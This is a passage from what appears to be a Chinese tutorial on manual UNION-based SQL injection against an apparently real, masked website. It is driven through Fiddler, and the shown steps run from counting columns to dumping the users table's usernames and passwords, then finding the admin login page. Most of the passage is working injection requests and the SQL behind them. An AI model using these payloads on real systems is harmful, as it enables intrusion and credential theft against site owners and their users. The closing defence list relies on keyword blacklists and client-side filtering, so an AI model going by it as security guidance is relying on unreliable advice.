按照1个字段进行排序,正常显示表示该URL对应的SQL语句至少一个字段。

注意:CN后面的 ') 用单引号+括号匹配结束该字符,同时Fiddler加号连接URL,而第一篇文章 "一.从数据库原理学习网络攻防及防止SQL注入" URL是空格连接的。最后的#表示在MySQL中注释包括#和--,这里--报错,而#成功访问,如下图所示。

 

(2) GET  http://xxxxx/prefix/C N')+order+by+8# HTTP/1.1   (正常显示)
对应的SQL语句:
select .... from table where area=('cn') order by 8 # and xxxx;
如果出现乱码,则点击右部的“Response body is encoded. Click to decode.”按钮进行查看。

(3) GET  http://xxxxx/prefix/C N')+order+by+9# HTTP/1.1   (错误显示)
对应的SQL语句:
select .... from table where area=('cn') order by 9 # and xxxx;
表示该查询总共8个字段,下面需要开始测试反馈内容。
重点:字段共8个。

3.数据库获取显示位 union

在得到字段个数后,需要获取字段位置,则使用union或union all。其中union表示将两个select结果整体显示,并合并相同的结果,union all显示全部结果。例如:

 

(1) GET  http://xxxxx/prefix/C N')+union+select+null,null,null,null,null,null,null,null# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn')
union select null,null,null,null,null,null,null,null  # and xxxx;
正常显示,共8个null,表示通配符,对应8个字段。

 

(2) GET  http://xxxxx/prefix/C N')+union+select+1,2,3,4,5,6,7,8# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn') 
union select 1,2,3,4,5,6,7,8  # and xxxx;
此时需要观察反馈的数字,它就是我们获取的那道门,该数字这是进入房间的大门。前面第一篇文章是通过URL测试,如果报错则null替换数字,此时不需要。

(3) GET  http://xxxxx/prefix/CNa b')+union+select+1,2,3,4,5,6,7,8# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('CNab') 
union select 1,2,3,4,5,6,7,8  # and xxxx;
然后将"CN"修改成"Cnab",让其报错不反馈前面的内容,而反馈后面union select 1....8的数字,运行结果如下所示,数字6则为漏洞。
重点:CNab让第一条SQL语句不返回,只关注我们的信息。

 

接下来想办法将我们需要的结果在这里显示即可,数据都是从后台数据库中查询出来的。

4.数据库显示应数据 database()

(1) GET  http://xxxxx/prefix/C N')+union+select+1,2,3,4,5,database(),7,8# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn') 
union select 1,2,3,4,5,database(),7,8  # and xxxx;
MySQL数据库中database()用于获取数据库的内容,version()用于获取当前数据库版本号内容。如下当前数据库为20170720df。

 

查询的结果如下所示,数据库为mfa。

 

如果想连接,则使用concat()拼接函数:
(2) union+select+1,2,3,4,5,concat(user(),0x20,database(),0x20,version()),7,8#
反馈结果,0x20表示空格:
[email protected] mfa 5.5.4-deb8u1-log
<div class="line-block"></div>
<div class="line-block"></div>

5.获取当前所有数据库 information_schema
那么怎么获取数据库所有的数据库名呢?
作者最早想到的是SQL语句:
select table_name from information_schema.tables;
该语句反馈整个数据库系统中,所有的表名,如下所示:

 

 

但是下面的链接反馈500错误:
http://xxxxx/prefix/CNa b')+union+all+select+1,2,3,4,5,
(select+table_name+from+information_schema.tables),7,8#
这是因为需要将数据库反馈结果拼接成一行,同时还需要指定只获取mfa数据库里面的表,则使用如下方法:
mysql安装成功后可以看到已经存在mysql、information_schema和test这个几个数据库
information_schema库中有一个名为COLUMNS的表,这个表中记录了数据库中所有表的字段信息。
知道这个表后,获取任意表的字段就只需要一条select语句即可。如:

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name';

(1) GET  http://xxxxx/prefix/C N')+union+all+select+1,2,3,4,5,
    group_concat(distinct+table_schema),7,8+from+
    information_schema.columns# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn') 
union all select 1,2,3,4,5,group_concat(distinct+table_schema),7,8
from information_schema.columns# and xxxx;
Fiddleer输出结果如下所示:
information_schema,mfa
<div class="line-block"></div>
<div class="line-block"></div>

(2) GET http://xxxxx/worldmap/view/prefix/CNa b')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_schema),7,8+from+
    information_schema.columns+where+table_schema=database()# HTTP/1.1 
对应的SQL语句:
select group_concat(distinct+table_schema) from 
information_schema.columns where table_schema=database();
本地数据库测试如下图所示:

 

Fiddler输出结果如下所示,同理获取表名。
mfa
<div class="line-block"></div>
<div class="line-block"></div>

6.数据库获取表名及列名 table_name

(1) GET http://xxxxx/worldmap/view/prefix/CNa b')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    information_schema.tables+where+table_schema=database()# HTTP/1.1 
对应的MySQL语句,table_name、tables表示表名:
select group_concat(distinct+table_name) from
information_schema.tables where table_schema=database();
本地数据库测试如下图所示,输出结果包括该各个表名。

 

输出结果如下所示:

 

问题,但是我并没有找到登录表,原来group_concat有限制,那怎么处理呢?使用limit m,n进行限制,从m开始输出n个字段。平时常使用的是limit n输出前n个字段。
select table_name from information_schema.tables 
where table_schema=database() limit 10,5;
本地数据库从10序号开始输出5个字段,如下所示:

 

依次从0开始输出20个字段,并count()统计总共多少张表,总会找到登陆表。

(2) GET http://xxxxx/worldmap/view/prefix/CNa b')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    (select+table_name+from+information_schema.tables+
    where+table_schema=database()+limit+0,20)+as+sub#  HTTP/1.1 
对应的MySQL语句如下,使用子查询获取20个表名,再进行拼接输出:
select group_concat(distinct+table_name) from 
(select table_name from information_schema.tables
 where table_schema=database() limit 0,20) as sub;
输出结果如下:

 

(3) GET http://xxxxx/worldmap/view/prefix/CNa b')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    (select+table_name+from+information_schema.tables+
    where+table_schema=database()+limit+100,20)+as+sub#  HTTP/1.1 
依次从limit 20,20、limit 40,20、limit 100,20进行获取,最好发现登录表为users。
重点:登陆表users

 

7.数据库获取登录表字段 columns

获取登录表的字段,使用SQL语句:
select group_concat(distinct+column_name) from 
information_schema.columns where table_name='users';
本地数据库运行结果如下所示:

 

(1) GET http://xxxxx/worldmap/view/prefix/CNa b')+union+all+
    select+1,2,3,4,5,group_concat(distinct+column_name),7,8+from+
    information_schema.columns+where+table_name='users'# HTTP/1.1 
对应的MySQL语句,table_name、tables表示表名:
select 1,2,3,4,5,group_concat(distinct+tcolumn_name),7,8 from 
information_schema.columns where table_name='users';
输出结果如下图所示:

 

重点:用户名字段username、密码password。

8.数据库返回用户名和密码 

(1) GET http://xxxxx/worldmap/view/prefix/CNa b')+union+all+
    select+1,2,3,4,5,group_concat(distinct+username,0x2b,
    password,0x2b,vozrast),7,8+from+users# HTTP/1.1 
对应的MySQL语句,table_name、tables表示表名:
select group_concat(distinct+username,0x2b,password,0x2b,vozrast) from users;
点击"Run to completion"按钮输出结果如下图所示,0x2b表示加号,如果获取更多用户名和密码,你可以自己思考下?

 

9.登录系统

登录怎么找到登录页面呢?照网站后台的方法:
方法一:一定用谷歌搜索,admin、login、system、manage、user等关键词;
方法二:配置文件robots.txt,网页链接等;
方法三:扫描目录,通过一些工具。

 

然后登录即可。

三. 数据库防御措施
真正的困难在于如何找到一个存在漏洞的网站,如何去防护。现在很多网站都应做好相关防御措施,手工SQL注入是没有反应的,但是找到漏洞后,再利用SQLMAP就能够找到相应的用户名和密码。

参考前文,个人理解的防御措施:

    1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
    2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
    3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
    5.可以使用js在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。


ReplyQuote
Share:
%d bloggers like this: